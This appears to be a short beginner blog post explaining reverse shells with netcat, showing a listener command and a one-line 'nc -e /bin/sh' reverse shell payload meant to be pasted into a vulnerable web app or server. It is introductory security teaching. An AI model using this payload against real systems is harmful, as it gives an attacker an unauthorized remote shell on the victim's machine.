Reverse Shell Scripting Concept.

rahman0x01
2 min readApr 16, 2024

--

Let’s talk a little about reverse shell script (in this case I will use bash).

Assalamu Alaikum, this post is only for beginners.

Firstly, let’s know what is bash script is like a CLI command line scripting language.

We will use the nc utility built into the Kali Linux default system.

Let’s think we have two devices for this example we use our terminal left side as the first and the right side as the second device.

So above first we create a listen mode via [ nc -lvnp 4400]

here port is 4400 and IP is the default localhost which is 127.0.0.1

then we send a connect request with the first device by typing [ nc <IP address> <port>]. then connect was established and we were able to communicate with each other.

Let’s dive into the main topic Reverse Shell Scripting. Imagine now we have our web app or vulnerable server that is taking input from us.

So, what can we do now? very simple first create a listening mode in your Kali Linux machine on a specific port and then just paste the following script command from the picture.

nc -e /bin/sh 127.0.0.1 303
Figure: 2

This is for today. God bless you. see you in the next write-up. take care.

--

--

rahman0x01
rahman0x01

Responses (1)